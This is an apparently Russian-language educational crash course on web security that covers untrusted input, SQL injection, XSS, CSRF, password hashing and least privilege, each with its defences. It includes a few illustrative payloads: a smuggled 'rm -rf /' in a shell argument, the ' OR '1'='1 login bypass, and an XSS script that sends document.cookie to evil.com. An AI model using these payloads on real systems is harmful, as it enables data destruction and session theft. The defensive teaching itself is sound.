fedorthinks

Экспресс-курс · No. 22

Почти любая веб-уязвимость сводится к одной ошибке: доверию данным, что пришли снаружи. Атакующий управляет запросом, формой, URL, загруженным файлом — всем. Веб-безопасность — это привычка считать любой внешний ввод враждебным, пока не доказано обратное, и знать горстку классических атак, которые наказывают тех, кто об этом забыл.

21 понятие · схема у каждого · шпаргалка в конце

§ 01

До любой конкретной атаки есть один принцип, который предотвращает большинство из них. Пойми эту мысль — и весь остальной курс окажется ею же, применённой в разных местах.

Карта: 21 понятие в шести группах

Карта метро: сначала видишь линии целиком, потом едешь по станциям.

Курс идёт по шести группам. Первая — одно правило «не доверяй вводу». Потом три классические атаки: Injection (ввод становится кодом на сервере), XSS (ввод становится скриптом в браузере) и CSRF (браузер обманом шлёт запрос от твоего имени). Потом — как хранить секреты и пароли. И в конце — как ограничить ущерб, когда что-то всё-таки прорвалось, плюс практика.

The one ruleUntrusted inputTrust boundaryValidate / escapeInjectionInjectionSQL injectionParameterized queryIn the browser: XSSXSSOutput escapingCSPForged requestsCSRFConfused deputyCSRF tokenSameSite cookieSecretsNo plain textHashing vs encryptionSalt + slow hashContain + practiceLeast privilegeDefense in depthQuiet errorsPatchingOWASP Top 10
Шесть групп понятий — по ним идут главы курса (последняя группа — главы 6 и 7).

Как читать каждое понятие

Паспорт: одинаковые поля у всех, поэтому их легко сравнивать.

У каждого понятия дальше одно и то же: английское название (его и ищут в документации), образ из жизни, схема и карточка. У атак поля такие: что это, как работает, пример, защита, связи. У защит и принципов: проблема, идея, пример, цена, связи. Главное правило курса одно, и ты увидишь его в каждой карточке: ввод — это данные, а не код.

Untrusted Input — любой внешний ввод управляет атакующий

Пограничный пост считает каждую посылку потенциально опасной, пока не досмотрит. Он не пропускает вещи только потому, что они выглядят обычно.

Всё, что входит в систему снаружи — поля форм, URL, заголовки, загруженные файлы, вызовы API, — управляется тем, кто это прислал. А это может быть атакующий. Он может прислать что угодно, а не только то, что задумала твоя форма. Это понятие называется untrusted input (недоверенный ввод), и правило такое: считай любой внешний ввод враждебным, пока не провалидировал его. Почти каждая уязвимость в курсе — это место, где кто-то доверился вводу, которому не следовало.

Attackersends anythingForm fieldsURL + queryHeaders + cookiesUploaded filesAPI callsYour servertreat as hostileanything can arrive — not just what your form intended
Атакующий управляет каждым входом: формами, URL, заголовками, файлами, API.
ConceptUntrusted Input· недоверенный ввод
Проблема
Код молча считает, что пришло ровно то, что задумала форма.
Идея
Любой внешний ввод — враждебный, пока ты его не проверил.
Пример

В поле «имя» приходит не имя, а SQL, тег <script> или строка на мегабайт.

Цена
Проверки нужны на каждом входе, а не «где-нибудь».
Связи

Где проверять — Trust Boundary; как — Input Validation и Output Escaping.

Trust Boundary — граница доверия

Стена вокруг здания с одними охраняемыми воротами. Внутри доверено, снаружи нет, и всё, что пересекает черту, проверяется на этой черте.

Граница доверия (trust boundary) — это черта между внешним миром и твоей системой. Данные, которые пересекают её внутрь, надо проверять на этой границе: оказавшись внутри, они обычно считаются безопасными. Классическая ошибка — проверять только на клиенте (в браузере) и думать, что этого хватит. Атакующий просто обходит браузер. Настоящие проверки безопасности — на сервере, на границе, которой ты реально управляешь.

OUTSIDE · untrustedINSIDE · trustedBrowserclient-side checkscurl / scriptskips the browserServer checksvalidate hereApp + datatrust boundary — the line you actually control
Проверки в браузере легко обойти скриптом. Настоящая проверка — на сервере, на границе доверия.
ConceptTrust Boundary· граница доверия
Проблема

Проверка есть только в браузере, а атакующий шлёт запрос напрямую, мимо него.

Идея
Провести черту «снаружи / внутри» и проверять всё на ней, на сервере.
Пример

JS-форма не даёт ввести отрицательную сумму, но curl с amount=-500 дойдёт до сервера.

Цена
Проверки на клиенте всё равно нужны для удобства — это дублирование.
Связи

Здесь живёт Input Validation; клиентские проверки — удобство, не защита.

Input Validation и Output Escaping — валидируй ввод, экранируй вывод

Вышибала проверяет документы на входе — кто заходит. Переводчик следит, чтобы твои слова не прочли как команду в соседней комнате — как вещи выходят. Две разные работы.

Две привычки останавливают большинство атак. Input validation (валидация ввода): отвергай данные не той формы, что ты ждёшь, — не тот тип, слишком длинные, кривые. Output escaping (экранирование вывода): когда кладёшь данные в другой контекст — запрос к базе, HTML-страницу, команду шелла, — обезвредь всё, что там можно прочесть как код. Почти каждая атака ниже — это недоверенный ввод, который проскользнул туда, где его читают как инструкцию, а не как данные.

IN: what gets inOUT: how it leavesInputValidate inputtype · length · formatAppEscape outputper contextrejectwrong shapeSQL queryHTML pageShell cmd
На входе — валидация (не та форма → отказ). На выходе — экранирование под каждый контекст: SQL, HTML, шелл.
PracticeInput Validation· валидация ввода
Проблема
В систему заходят данные любой формы и длины.
Идея

Описать, что ожидаешь (тип, длина, формат), и отвергать всё остальное на границе.

Пример

age — целое от 0 до 150; email — по формату и не длиннее 254 символов.

Цена

Валидация не делает ввод безопасным везде — на выходе всё равно нужен Output Escaping.

Связи
Работает на Trust Boundary; в паре с Output Escaping (глава 3).

Каждый клочок внешнего ввода управляется атакующим. Валидируй его на границе на сервере и экранируй везде, где используешь. Одно это правило предотвращает большинство атак.

§ 02

Самый разрушительный класс атак — и самый простой для понимания: недоверенный ввод выполняется как код. Хрестоматийный случай — SQL-инъекция, и на ней видна вся схема.

Injection — ввод становится кодом

Форма просит твоё имя, а кто-то пишет вместо него инструкцию. Клерк читает всю строку вслух — и случайно выполняет инструкцию.

Инъекция (injection) — это когда недоверенный ввод подмешивают в команду или запрос, и он выполняется как его часть. Система собиралась использовать ввод как данные, а ввод был сделан так, чтобы его прочли как код. Корневой изъян один и тот же в SQL, командах шелла и прочем: граница между «инструкцией» и «данными пользователя» никогда не соблюдалась, и атакующий подставил свои инструкции.

Your instructionthe code you meant to runUser inputcrafted to look like codegluedinto one stringInterpreterSQL · shell · …data crossed into code — the line between them was never enforced
Твоя инструкция и ввод склеены в одну строку — интерпретатор уже не видит, где кончается код и начинаются данные.
AttackInjection· инъекция
Что это
Недоверенный ввод выполняется как часть команды или запроса.
Как работает

Код склеивает ввод в строку, а интерпретатор (SQL, шелл…) выполняет её целиком.

Пример
os.system("ping " + host), а в host пришло 8.8.8.8; rm -rf /.
Защита
Передавать ввод отдельно от кода — параметрами, а не склейкой.
Связи
Частный случай — SQL Injection; в браузере та же идея — XSS.

SQL Injection — классический случай

Библиотечный бланк заказа, где в поле «название» кто-то пишет «…а ещё отопри все двери» — и автоматическая система послушно делает и то и другое.

В SQL-инъекции (SQL injection) атакующий печатает синтаксис базы данных в обычное поле. Если код строит запрос, склеивая ввод со строкой, ввод становится частью запроса. Так можно читать чужие данные, обойти вход или удалить таблицы. Десятилетиями это одна из самых частых и серьёзных веб-уязвимостей, и вся она — от построения запросов конкатенацией строк с недоверенным вводом.

code glues input into a stringquery = "SELECT * FROM users WHERE name = '" + input + "'"attacker types into the name field' OR '1'='1the database receivesSELECT * FROM users WHERE name = '' OR '1'='1''1'='1' is always true → every user's row comes back
Ввод ' OR '1'='1 превращает условие в «всегда истина» — база отдаёт строки всех пользователей.
AttackSQL Injection· SQL-инъекция
Что это
Инъекция в запрос к базе данных.
Как работает

Запрос собирают как "... WHERE name = '" + input + "'", и ввод меняет его смысл.

Пример

Ввод ' OR '1'='1 в форме входа — условие всегда истинно, проверка пароля обойдена.

Защита
Parameterized Query — каждый раз, без исключений.
Связи

Самый известный вид Injection; есть в OWASP Top 10 в категории Injection.

Parameterized Query — лекарство

Форма с запертыми подписанными ящиками: что бы ты ни написал в ящик «имя», это будет только именем, а не частью инструкций формы.

Лекарство — параметризованный запрос (parameterized query, prepared statement). Ты пишешь запрос с заглушками и передаёшь ввод отдельно. База сначала разбирает структуру запроса, а потом подставляет данные в слоты — поэтому ввод всегда остаётся данными, а не SQL. Ввод может быть самой мерзкой строкой, какую только можно придумать, и всё равно не изменит структуру запроса. Никогда не строй запрос склейкой ввода в строку — используй параметры каждый раз, и SQL-инъекция просто не сможет случиться.

SELECT … WHERE name = $11 · the query shape (code)params: ["' OR '1'='1"]2 · the input, sent separately (data)Databasefills the $1 slotthe input can never change the query's shape — it is only ever data
Запрос и данные идут к базе раздельно: ввод попадает только в слот $1 и не может поменять форму запроса.
PracticeParameterized Query· prepared statement, параметризованный запрос
Проблема
Склейка строк превращает ввод в часть SQL.
Идея
Сначала форма запроса с заглушками, потом данные — отдельно.
Пример
db.query("SELECT * FROM users WHERE name = $1", [input])
Цена

Почти никакой. Подвох: имена таблиц и колонок параметром не передать — их берут из белого списка.

Связи

Лечит SQL Injection; ORM и query builders делают это за тебя — если их не обходить.

Инъекция — это недоверенный ввод, выполненный как код. SQL-инъекция — классический случай, а параметризованные запросы — ввод как данные, без склейки — лекарство.

§ 03

Если инъекция — это ввод, ставший кодом на сервере, то межсайтовый скриптинг — это ввод, ставший кодом в браузере. Он превращает твою же страницу в оружие против твоих пользователей.

XSS — ввод становится скриптом в браузере

Доска объявлений, на которую кто-то прикалывает записку с подвохом: у каждого, кто её читает, тихо обчищают карманы. Опасность приносит сама доверенная доска.

Межсайтовый скриптинг (cross-site scripting, XSS) — это когда атакующий заставляет свой JavaScript выполниться в браузере другого пользователя, на твоём сайте. Если ты берёшь ввод — комментарий, имя, профиль — и кладёшь его прямо на страницу, атакующий может прислать <script> вместо текста. И этот скрипт выполнится у каждого, кто откроет страницу. Его код действует с сессией твоего пользователя: крадёт cookie, выдаёт себя за него, портит страницу.

Attackerwrites a commentyoursite.comstores, then shows itVictim's browserrenders the pageposts <script>serves pageattacker.comreceives cookierunsscript
Атакующий оставляет комментарий со скриптом, сайт показывает его другим, скрипт в их браузере отправляет cookie атакующему.
AttackXSS· Cross-Site Scripting, межсайтовый скриптинг
Что это

Чужой JavaScript выполняется в браузере твоего пользователя на твоём сайте.

Как работает
Ввод кладут на страницу как HTML, без экранирования.
Пример

Комментарий <script>fetch('//evil.com?c='+document.cookie)</script> крадёт сессию у каждого читателя.

Защита
Output Escaping + Content Security Policy.
Связи
Та же идея, что Injection, только код выполняется в браузере.

Почему XSS так опасен — он работает с доверием твоего сайта

Самозванец в доверенной форме: люди подчиняются, потому что доверяют форме — домену твоего сайта, — а не человеку внутри неё.

Вредоносный скрипт работает как твой сайт, со всем доверием, которое пользователь даёт твоему домену. Он может читать то, что видит пользователь, действовать от его имени и отправлять его данные атакующему. Браузер никак не может понять, что скрипт не твой, — он пришёл с твоей страницы. Поэтому «это всего лишь поле комментария» — знаменитые последние слова: любое место, где ввод доходит до страницы, — потенциальная дыра XSS.

yoursite.com — one origin, one level of trustyour app.jsinjected scriptsamepowersSession cookiePage contentAPI calls as the userthe browser can't tell which script is really yours
Внутри одного сайта у твоего скрипта и у внедрённого одинаковые права: cookie, содержимое страницы, запросы к API от имени пользователя.

Output Escaping и Content Security Policy — защита от XSS

Переводчик выводит слова каждого гостя на экран простым текстом. Даже если кто-то выкрикнет команду, она появится как безобидные слова в кавычках, а не как приказ.

Главное лекарство — экранирование вывода (output escaping): когда кладёшь пользовательские данные в HTML, превращай символы вроде < и > в безобидный текст, чтобы они показывались, а не выполнялись как разметка. Современные фреймворки делают это по умолчанию — поэтому доверься им. Сверху добавь Content Security Policy (CSP) — правило для браузера, которое ограничивает, какие скрипты вообще можно запускать. Это вторая линия защиты. Всё, что доходит до страницы, — недоверенное; обезвреживай его на выходе.

Output escaping<script>steal()</script>escape&lt;script&gt;steal()…shown as text, never runContent Security PolicyContent-Security-Policy: script-src 'self'app.js from your site ✓inline or evil.com ✗
Слева: экранирование превращает тег в обычный текст. Справа: CSP разрешает только скрипты с твоего сайта.
PracticeOutput Escaping· output encoding, экранирование вывода
Проблема
Ввод на странице читается браузером как разметка и код.
Идея

Перед выводом превращать опасные символы в безопасный текст — по правилам контекста.

Пример
<script> становится &lt;script&gt; и просто видно на экране.
Цена

Экранировать надо под каждый контекст (HTML, атрибут, URL, JS); «сырой HTML» в обход фреймворка ломает защиту.

Связи

Главная защита от XSS; вторая половина правила «валидируй ввод, экранируй вывод».

ToolContent Security Policy· CSP
Проблема
Экранирование где-то забыли — и чужой скрипт выполнился.
Идея
Заголовок, в котором сайт говорит браузеру, какие скрипты разрешены.
Пример

Content-Security-Policy: script-src 'self' — запрещает inline-скрипты и чужие домены.

Цена

Нужно настраивать и проверять: строгая политика может сломать сторонние виджеты.

Связи
Вторая линия против XSS — пример Defense in Depth.

XSS — это недоверенный ввод, который работает как скрипт в браузерах твоих пользователей, с доверием твоего сайта. Экранируй всё, что доходит до страницы, и добавь Content Security Policy.

§ 04

Следующая атака ничего не внедряет. Она пользуется привычкой браузера прикреплять твои учётные данные к каждому запросу и обманом заставляет его действовать от твоего имени без твоего намерения.

CSRF — браузер обманом заставляют действовать

Кто-то подделывает твою подпись на бланке и отправляет его с твоего адреса. Банк видит правильный подписанный запрос от тебя и выполняет его, не зная, что писал не ты.

Межсайтовая подделка запроса (cross-site request forgery, CSRF) использует то, что браузер автоматически прикрепляет твои cookie — включая сессию, где ты залогинен, — к любому запросу к сайту. Атакующий кладёт на свою страницу скрытый запрос к твоему банку. Ты заходишь на неё, будучи залогиненным в банке, — и браузер отправляет запрос с твоей сессией. Банк думает, что это сделал ты. Тебя заставили действовать, хотя ты ничего не выбирал.

Your browserevil.combank.com1 · you log insession cookie set2 · you visit evil.com3 · hidden auto-form4 · POST /transfer+ your cookie, auto5 · executes transfer
Ты вошёл в банк, потом открыл evil.com — его скрытая форма шлёт перевод в банк, а браузер сам прикладывает твою cookie.
AttackCSRF· Cross-Site Request Forgery, межсайтовая подделка запроса
Что это
Чужой сайт заставляет твой браузер отправить запрос с твоей сессией.
Как работает

Браузер сам прикладывает cookie к запросу на сайт, откуда бы этот запрос ни пришёл.

Пример

На evil.com скрытая форма с POST bank.com/transfer?to=attacker, отправляется автоматически.

Защита
CSRF Token + SameSite Cookie.
Связи
Частный случай Confused Deputy.

Confused Deputy — проблема запутанного посредника

Доверенный помощник с ключами, которого поддельной запиской уговорили открыть хранилище. Власть у помощника была — его обманом заставили применить её для другого.

CSRF — это атака «запутанного посредника» (confused deputy): твой браузер держит настоящую власть (твою сессию), и его обманом заставляют применить её для атакующего. Сервер не может отличить подделку: запрос выглядит ровно как настоящий — те же cookie, тот же пользователь. Изъян не в украденных паролях. Изъян в том, что правильный запрос запустил кто-то другой, и ничто не доказало твоё намерение.

Attackerno authorityBrowserthe deputy · has sessionbank.comsees a valid cookietricksactsreal authority, someone else's intent — nothing proved you meant it
У атакующего нет прав — он обманывает того, у кого они есть (браузер), а банк видит правильную cookie.
ConceptConfused Deputy· запутанный посредник
Что это

Программа с правами, которую обманом заставили использовать их по чужой просьбе.

Как работает

Сервер проверяет только «кто» (cookie), но не «хотел ли он этого».

Пример
Браузер с твоей сессией выполняет форму, которую подсунул evil.com.
Защита
Требовать доказательство намерения, а не только наличие прав.
Связи

CSRF — самый известный пример; лечится CSRF Token и SameSite.

CSRF Token и SameSite Cookie — доказать намерение

Банк требует к каждому переводу одноразовый код, напечатанный только в твоей выписке. Поддельный запрос откуда-то ещё не может его знать — и его отклоняют.

Лекарство — требовать доказательство, что запрос сделала твоя страница. CSRF-токен (CSRF token) — секретное значение, которое сайт вставляет в свои формы и проверяет при отправке. Страница атакующего его не знает, и поддельный запрос проваливается. Современное дополнение — атрибут cookie SameSite: он говорит браузеру не отправлять сессионную cookie с запросами, которые пришли с других сайтов. Вместе они гарантируют, что важное действие пришло с твоего сайта и по твоему намерению.

Your page's formtoken a8f3 + cookieevil.com's formno token · cookie not sentServer checktoken matches?✓ allowed✗ 403CSRF token: a secret only your own page knowsSameSite cookie: the browser won't attach it to cross-site requests
Форма с твоей страницы несёт токен и проходит; форма с evil.com токена не знает, а cookie браузер не прикладывает — 403.
PracticeCSRF Token· anti-CSRF token
Проблема
Сервер не может отличить твою форму от поддельной.
Идея

Секрет в каждой форме твоего сайта; сервер принимает запрос, только если секрет совпал.

Пример

Скрытое поле <input name="csrf" value="a8f3…">, его сверяют с сессией.

Цена
Нужно добавлять во все формы и запросы, которые что-то меняют.
Связи

Защита от CSRF; фреймворки обычно делают это за тебя. В паре с SameSite Cookie.

PracticeSameSite Cookie· атрибут cookie SameSite
Проблема
Браузер прикладывает cookie к запросам с любых сайтов.
Идея

Пометить сессионную cookie, чтобы браузер не слал её в межсайтовых запросах.

Пример
Set-Cookie: session=…; SameSite=Lax; Secure; HttpOnly
Цена
Это дополнение, а не замена токену: зависит от браузера и настроек.
Связи

Вместе с CSRF Token закрывает CSRF — снова Defense in Depth.

CSRF обманом заставляет твой браузер отправить запрос с твоей сессией. Доказывай намерение CSRF-токеном и SameSite-cookie, чтобы поддельные межсайтовые запросы отклонялись.

§ 05

Некоторые данные настолько чувствительны, что сам способ их хранения — уже решение о безопасности. Пароли — классический пример, и на них видна разница между двумя словами, которые постоянно путают.

Plaintext Passwords — никогда не храни пароли открытым текстом

Список ключей от всех домов в незапертом ящике на ресепшене. Один взлом — и открыт каждый дом. Удобство и есть катастрофа.

Если хранить пароли читаемым текстом (plaintext), то любой, кто добрался до базы — через утечку, взлом, инсайдера, — сразу получает пароль каждого пользователя. А поскольку люди повторяют пароли, ты подставил и их другие аккаунты. Хранить пароль открытым текстом — одна из самых серьёзных и базовых ошибок веб-безопасности. Эти данные слишком опасны, чтобы держать их в виде, который ты можешь прочесть.

users tableanna hunter2bob qwerty123carol sunshine1Breachleak · insiderAll passwordsreadable at onceOther accountspeople reuse passwords
Пароли открытым текстом: одна утечка — все пароли прочитаны, а с ними и чужие аккаунты, где их повторили.

Hashing vs Encryption — хеширование одностороннее, шифрование двустороннее

Шредер против запертого ящика. Ящик можно открыть и достать оригинал. Шредер превращает бумагу в конфетти, которое не собрать, — но один и тот же лист всегда режется одинаково.

Это различие надо запомнить. Шифрование (encryption) обратимо: с ключом ты превращаешь зашифрованные данные обратно в оригинал. Его берут для данных, которые нужно снова читать, — например, сохранённый API-ключ. Хеширование (hashing) одностороннее: оно превращает ввод в отпечаток фиксированной длины, который нельзя развернуть обратно, но один и тот же ввод всегда даёт один и тот же отпечаток. Они решают разные задачи, и путать их — классическая ошибка.

ENCRYPTION — two-way: you can read it backAPI keyencrypt+ keyciphertextdecrypt+ keyAPI keyHASHING — one-way: you can only comparepasswordhashfingerprinta91f…e2no way back to password
Шифрование: с ключом можно вернуть оригинал. Хеширование: только сравнить отпечатки, обратного пути нет.
ConceptHashing vs Encryption· хеширование и шифрование
Шифрование
Двустороннее: с ключом можно прочитать обратно.
Хеширование
Одностороннее: отпечаток не развернуть, можно только сравнить.
Пример

API-ключ партнёра — шифруем (он нужен в запросах). Пароль — хешируем (его нужно только проверить).

Подвох
«Зашифрованные пароли» — ошибка: украдут ключ — прочитают все пароли.
Связи
Для паролей — хеширование с Salt и медленным алгоритмом.

Salt и медленный хеш — как хранить пароли правильно

Проверка восковой печати: письмо не нужно, чтобы её проверить, — ставишь печать заново и сравниваешь оттиски. Совпадение подтверждено, а сам секрет нигде не хранится.

Пароли хешируют, потому что сам пароль тебе обратно не нужен — его нужно только проверить. Храни хеш; при входе хешируй то, что ввели, и сравни. Утечка сольёт отпечатки, а не пароли. Добавь соль (salt) — уникальное случайное значение для каждого пароля, — чтобы одинаковые пароли давали разные хеши, а заранее посчитанные таблицы атак не работали. И бери медленный, специально созданный хеш для паролей (вроде bcrypt или Argon2), а не быстрый общий — чтобы перебор был дорогим.

hunter2annahunter2bob++salt x9Q2randomsalt Lm7vrandombcrypt / Argon2slow on purposehash …k1Xahash …z8Pqsame password, different hashes → precomputed tables fail
У Анны и Боба один пароль, но разная соль — значит, разные хеши. Медленный bcrypt/Argon2 делает перебор дорогим.
PracticeSalted Password Hashing· salt + bcrypt / Argon2
Проблема

Быстрый хеш без соли: одинаковые пароли видны сразу, а перебор и готовые таблицы работают.

Идея

Уникальная соль на каждый пароль + намеренно медленный алгоритм для паролей.

Пример

Регистрация: hash = argon2(password, salt). Вход: хешируем введённое с той же солью и сравниваем.

Цена
Вход чуть медленнее — это и есть смысл: атакующему ещё медленнее.
Связи

Применение Hashing; при утечке ограничивает ущерб, как Defense in Depth.

Никогда не храни пароли открытым текстом. Шифрование обратимо — для данных, которые нужно читать. Хеширование одностороннее — для данных, которые только проверяешь. Пароли — хешируй, с солью, медленным алгоритмом.

§ 06

Кроме конкретных атак, есть принципы, которые ограничивают ущерб, когда что-то всё же прорвалось. В безопасности ты исходишь из того, что рано или поздно прорвётся.

Least Privilege — наименьшие привилегии

Гостиничная карта-ключ открывает только твой номер и спортзал, а не все двери в здании. Потеряешь её — ущерб ограничен тем, куда она пускала.

Наименьшие привилегии (least privilege) означают, что каждый пользователь, сервис и учётная запись получают только минимум доступа, нужный для их работы, — и ничего больше. Учётка базы, под которой работает веб-приложение, не должна уметь удалять таблицы, если она только читает и пишет строки. Тогда, если что-то взломают — а исходи из того, что взломают, — радиус поражения (blast radius) будет маленьким: только то, что было разрешено этой одной части. Слишком широкие права превращают маленький прорыв в тотальный.

Web appassume breacheddb user: appminimum grantsSELECT · INSERT · UPDATE ✓DROP TABLE ✗other databases ✗admin / superuser ✗blast radius = only what this one account was allowed to do
Учётка приложения может только читать и писать строки — даже взломав приложение, удалить таблицы или войти в другие базы нельзя.
PrincipleLeast Privilege· наименьшие привилегии
Проблема
Одна взломанная часть получает доступ ко всему.
Идея
Каждой части — минимум прав для её работы.
Пример

Пользователь БД для приложения: SELECT, INSERT, UPDATE на свои таблицы, без DROP и без суперпользователя.

Цена
Права надо продумать и поддерживать; «дать админа» всегда проще.
Связи

Один из слоёв Defense in Depth; в OWASP — Broken Access Control.

Defense in Depth — слои, а не одна стена

Замок со рвом, стеной, воротами и стражей. Ни один барьер не считается идеальным, и каждый ловит то, что пропустил предыдущий.

Защита вглубь (defense in depth) — это несколько независимых защит одна за другой, чтобы один отказ не был фатальным. Валидируй ввод и используй параметризованные запросы и работай с наименьшими привилегиями и экранируй вывод. Любая одна защита может отказать или быть обойдена. Вместе они требуют от атакующего пробить их все сразу. Безопасность — это не одна идеальная стена, а перекрывающие друг друга обычные защиты, каждая из которых допускает, что другие могут отказать.

independent layers — each assumes the others may failAttackValidateinputParamsqueriesEscapeoutputLeastprivilegeDataa full breach has to beat every layer at once
Атака должна пройти все слои подряд: валидацию, параметры, экранирование, наименьшие привилегии.
PrincipleDefense in Depth· защита вглубь, эшелонированная защита
Проблема
Одна защита когда-нибудь откажет — и тогда всё открыто.
Идея
Несколько независимых слоёв, каждый ловит то, что пропустил другой.
Пример

Экранирование забыли в одном шаблоне — но CSP не даёт скрипту выполниться.

Цена
Больше настроек и проверок; часть работы «дублируется» намеренно.
Связи

Собирает вместе Input Validation, Parameterized Query, Output Escaping, CSP, Least Privilege.

Information Leakage — не выдавай подсказок в ошибках

Запертая дверь, которая, когда её дёргают, услужливо сообщает: «не тот ключ — настоящий латунный и слегка погнутый». И этим объясняет взломщику, как войти.

Подробные ошибки и слишком щедрые ответы дают атакующему карту. Это называют утечкой информации (information leakage). Вход, который пишет «неверный пароль» (а не «нет такого пользователя»), подтверждает, какие аккаунты существуют. Стек-трейс показывает фреймворк, версии и устройство запросов. Показывай пользователю общее сообщение, детали пиши в закрытые логи и никогда не отдавай больше данных, чем нужно клиенту. Тихий отказ — это не просто аккуратно: он лишает атакующего разведки, которая облегчает следующий шаг.

✗ hands out a maplogin: no such userlogin: wrong password500: SQL error at db.py:42confirms accounts, shows your stack✓ says nothing usefulinvalid email or passwordsomething went wrong (7f2c)details → private logsuser sees little, you see everything
Слева ответы выдают, какие аккаунты есть и что внутри. Справа — общее сообщение для пользователя, детали — в закрытые логи.
WeaknessInformation Leakage· утечка информации через ошибки
Что это
Ошибки и ответы рассказывают атакующему, как устроена система.
Пример

«Нет такого пользователя» против «неверный пароль»; стек-трейс с db.py:42 и версией базы.

Защита

Общее сообщение («неверный email или пароль»), детали — в логи, в ответе только нужные поля.

Подвох
Режим отладки, случайно включённый в продакшене.
Связи

В OWASP Top 10 — Security Misconfiguration; ещё один слой Defense in Depth.

Исходи из того, что что-то прорвётся. Наименьшие привилегии ограничивают ущерб, защита вглубь делает так, что ни один отказ не фатален, а тихие ошибки лишают атакующего карты.

§ 07

Безопасность — это практика, вплетённая в то, как ты строишь, а не фича, прикрученная в конце. Привычек немного, и большинство из них — то самое одно правило, применённое с дисциплиной.

Secure Defaults и Patching — опирайся на фреймворк и обновляйся

Ты не куёшь свои замки — ты ставишь проверенные и меняешь их, когда объявлен изъян. Самодельный замок почти всегда хуже.

Большинство классических атак уже решены зрелыми фреймворками и библиотеками: они экранируют вывод, параметризуют запросы и обрабатывают CSRF-токены за тебя — если пользоваться ими как задумано, а не обходить. Это безопасные настройки по умолчанию (secure defaults). А поскольку уязвимости в зависимостях находят постоянно, держи их обновлёнными (patching): непропатченная библиотека — один из самых частых путей внутрь. Не изобретай свою криптографию или своё экранирование — бери проверенные инструменты и держи их свежими.

PracticeSecure Defaults + Patching· защита фреймворка и обновления
Проблема

Самодельная криптография и экранирование с дырами; старые библиотеки с известными уязвимостями.

Идея

Пользоваться встроенной защитой фреймворка как задумано и регулярно обновлять зависимости.

Пример

Шаблонизатор экранирует сам; ORM параметризует; бот вроде Dependabot предлагает обновления.

Цена

Обновления надо тестировать; обход фреймворка («сырой» HTML/SQL) ломает защиту.

Связи

Даёт Output Escaping, Parameterized Query, CSRF Token «бесплатно».

OWASP Top 10 — карта самых частых уязвимостей

Предполётный чек-лист существует потому, что одни и те же несколько сбоев вызывают большинство аварий. Их проверяют каждый раз, а не открывают заново в воздухе.

Не надо придумывать каждую угрозу самому. OWASP Top 10 — это отраслевой список самых частых и серьёзных веб-уязвимостей: инъекции, сломанный контроль доступа и другие. Он работает как чек-лист. Пройди по нему своё приложение — и поймаешь категории, на которые приходится подавляющее большинство реальных взломов. Пользоваться известной картой лучше, чем надеяться, что сам обо всём подумал.

this courseOWASP Top 10 categorySQL injection · XSSInjectionLeast privilege · CSRFBroken Access ControlPassword hashingCryptographic FailuresQuiet errorsSecurity MisconfigurationPatchingOutdated componentsa short list of what breaks most often — walk your app against it
Почти всё из этого курса ложится на категории OWASP Top 10.
ToolOWASP Top 10· список самых частых веб-уязвимостей
Что это
Отраслевой рейтинг самых частых и опасных классов веб-уязвимостей.
Как пользоваться

Как чек-листом: пройти по каждой категории для своего приложения.

Пример

Категория Injection — проверить, что все запросы параметризованы, а вывод экранирован.

Подвох
Это минимум, а не полная гарантия безопасности.
Связи
Объединяет всё в курсе: от Injection до Least Privilege.

Как всё связано

Дом защищают сразу замок, сигнализация и сейф — не «одна правильная мера».

В центре — одно правило «никогда не доверяй вводу», проверенное на границе доверия. Из него растут три защиты от трёх атак: параметризованные запросы против Injection, экранирование и CSP против XSS, токен и SameSite против CSRF. А на случай, если что-то всё же прорвётся, — хеширование с солью (утечка не выдаст пароли), наименьшие привилегии (взлом одной части не даст всего) и защита вглубь (отказ одного слоя не фатален). Сверху над всем — OWASP Top 10 как чек-лист.

InjectionXSSCSRFParameterized queryEscaping + CSPToken + SameSiteNever trust inputvalidate at the trust boundaryHashing + saltif data leaksLeast privilegeif a part fallsDefense in depthif a layer failsOWASP Top 10 — the checklist over all of it
Одно правило в центре, три защиты против трёх атак, три принципа на случай прорыва и OWASP Top 10 как общий чек-лист.
Прежде чем выкатывать веб-фичу
  • Где входит внешний ввод, и валидирован ли он на границе на сервере?
  • Запросы — параметризованы, никогда не собраны склейкой ввода?
  • Вывод на страницу — экранирован, чтобы ввод не выполнился как скрипт?
  • Действия, которые что-то меняют — защищены от CSRF токеном и SameSite?
  • Чувствительные данные — пароли хешированы с солью, секреты не лежат открытым текстом?
  • Наименьшие привилегии — у каждой части только тот доступ, что ей нужен?
Признаки, что ты строишь безопасно
  • Ты считаешь любой внешний ввод враждебным и проверяешь его на сервере, на границе.
  • Запросы параметризованы, вывод на страницу экранирован — по умолчанию, через фреймворк.
  • Запросы, которые что-то меняют, несут CSRF-токен, а cookie — SameSite.
  • Пароли хешированы с солью; ничего чувствительного не хранится открытым текстом.
  • Каждая часть работает с наименьшими привилегиями, зависимости обновлены, и ты сверяешься с OWASP Top 10.

Шпаргалка: все 21 понятие

Одно правило

Untrusted Inputнедоверенный ввод

Всё, что пришло снаружи, контролирует атакующий. Враждебно, пока не проверено.

Trust Boundaryграница доверия

Черта «снаружи / внутри». Проверки — на ней, на сервере, а не в браузере.

Input Validationвалидация ввода

Отвергай всё, что не той формы: тип, длина, формат.

Injection

Injectionинъекция

Ввод склеен с командой и выполняется как код.

SQL InjectionSQL-инъекция

Инъекция в запрос к базе: ' OR '1'='1 и база отдаёт всё.

Parameterized Queryprepared statement

Запрос и данные раздельно — ввод всегда остаётся данными.

XSS

XSSCross-Site Scripting

Чужой скрипт в браузере пользователя с доверием твоего сайта.

Output Escapingэкранирование вывода

< → &lt;: ввод показывается как текст, а не выполняется.

Content Security PolicyCSP

Заголовок: какие скрипты браузеру разрешено запускать. Вторая линия.

CSRF

CSRFCross-Site Request Forgery

Чужой сайт шлёт запрос через твой браузер с твоей cookie.

Confused Deputyзапутанный посредник

Того, у кого есть права, обманом заставили применить их для другого.

CSRF Tokenanti-CSRF token

Секрет в твоих формах: поддельный запрос его не знает.

SameSite Cookieатрибут cookie

Браузер не прикладывает cookie к межсайтовым запросам.

Секреты и пароли

Plaintext Passwordsоткрытый текст

Антипаттерн: одна утечка — все пароли и чужие аккаунты.

Hashing vs Encryptionхеш / шифр

Хеш — односторонний, только сравнить. Шифр — с ключом можно прочитать.

Salted Password Hashingsalt + bcrypt / Argon2

Соль на каждый пароль + медленный алгоритм: перебор дорогой.

Сдерживание и практика

Least Privilegeнаименьшие привилегии

Минимум прав — маленький радиус поражения.

Defense in Depthзащита вглубь

Несколько независимых слоёв; ни один отказ не фатален.

Information Leakageутечка через ошибки

